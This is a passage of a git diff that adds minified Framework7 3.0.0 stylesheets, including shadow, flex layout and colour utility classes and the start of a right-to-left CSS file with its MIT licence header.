8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink:5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.md .padding{padding:16px!important}.md .padding-top{padding-top:16px!important}.md .padding-bottom{padding-bottom:16px!important}.md .padding-left{padding-left:16px!important}.md .padding-right{padding-right:16px!important}.md .padding-vertical{padding-top:16px!important;padding-bottom:16px!important}.md .padding-horizontal{padding-left:16px!important;padding-right:16px!important}.md .margin{margin:16px!important}.md .margin-top{margin-top:16px!important}.md .margin-bottom{margin-bottom:16px!important}.md .margin-left{margin-left:16px!important}.md .margin-right{margin-right:16px!important}.md .margin-vertical{margin-top:16px!important;margin-bottom:16px!important}.md .margin-horizontal{margin-left:16px!important;margin-right:16px!important}.md .text-color-red{color:#f44336!important}.md .bg-color-red{background-color:#f44336!important}.md .border-color-red{border-color:#f44336!important}.md .text-color-green{color:#4caf50!important}.md .bg-color-green{background-color:#4caf50!important}.md .border-color-green{border-color:#4caf50!important}.md .text-color-blue{color:#2196f3!important}.md .bg-color-blue{background-color:#2196f3!important}.md .border-color-blue{border-color:#2196f3!important}.md .text-color-pink{color:#e91e63!important}.md .bg-color-pink{background-color:#e91e63!important}.md .border-color-pink{border-color:#e91e63!important}.md .text-color-yellow{color:#ffeb3b!important}.md .bg-color-yellow{background-color:#ffeb3b!important}.md .border-color-yellow{border-color:#ffeb3b!important}.md .text-color-orange{color:#ff9800!important}.md .bg-color-orange{background-color:#ff9800!important}.md .border-color-orange{border-color:#ff9800!important}.md .text-color-gray{color:#9e9e9e!important}.md .bg-color-gray{background-color:#9e9e9e!important}.md .border-color-gray{border-color:#9e9e9e!important}.md .text-color-white{color:#fff!important}.md .bg-color-white{background-color:#fff!important}.md .border-color-white{border-color:#fff!important}.md .text-color-black{color:#000!important}.md .bg-color-black{background-color:#000!important}.md .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/css/framework7.rtl.min.css b/framework7/css/framework7.rtl.min.css new file mode 100644 index 0000000..8b3402a --- /dev/null +++ b/framework7/css/framework7.rtl.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html{direction:rtl}.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.ios body{font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;color:#000;line-height:1.4}.ios .if-md,.ios .md-only{display:none!important}.ios a{color:#007aff}@media (width:1024px) and (height:691px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:672px}}.ios .theme-dark{color:#fff}.ios .color-theme-red a{color:#ff3b30}.ios .color-theme-green a{color:#4cd964}.ios .color-theme-blue a{color:#007aff}.ios .color-theme-pink a{color:#ff2d55}.ios .color-theme-yellow a{color:#fc0}.ios .color-theme-orange a{color:#ff9500}.ios .color-theme-gray a{color:#8e8e93}.ios .color-theme-white a{color:#fff}.ios .color-theme-black a{color:#000}.ios a.color-red{color:#ff3b30}.ios a.color-green{color:#4cd964}.ios a.color-blue{color:#007aff}.ios a.color-pink{color:#ff2d55}.ios a.color-yellow{color:#fc0}.ios a.color-orange{color:#ff9500}.ios a.color-gray{color:#8e8e93}.ios a.color-white{color:#fff}.ios a.color-black{color:#000}.md body{font-family:Roboto,Noto,Helvetica,Arial,sans-serif;color:#212121;line-height:1.5}.md .if-ios,.md .ios-only{display:none!important}.md a{color:#2196f3}.md .theme-dark{color:rgba(255,255,255,.87)}.md .color-theme-red a{color:#f44336}.md .color-theme-green a{color:#4caf50}.md .color-theme-blue a{color:#2196f3}.md .color-theme-pink a{color:#e91e63}.md .color-theme-yellow a{color:#ffeb3b}.md .color-theme-orange a{color:#ff9800}.md .color-theme-gray a{color:#9e9e9e}.md .color-theme-white a{color:#fff}.md .color-theme-black a{color:#000}.md a.color-red{color:#f44336}.md a.color-green{color:#4caf50}.md a.color-blue{color:#2196f3}.md a.color-pink{color:#e91e63}.md a.color-yellow{color:#ffeb3b}.md a.color-orange{color:#ff9800}.md a.color-gray{color:#9e9e9e}.md a.color-white{color:#fff}.md 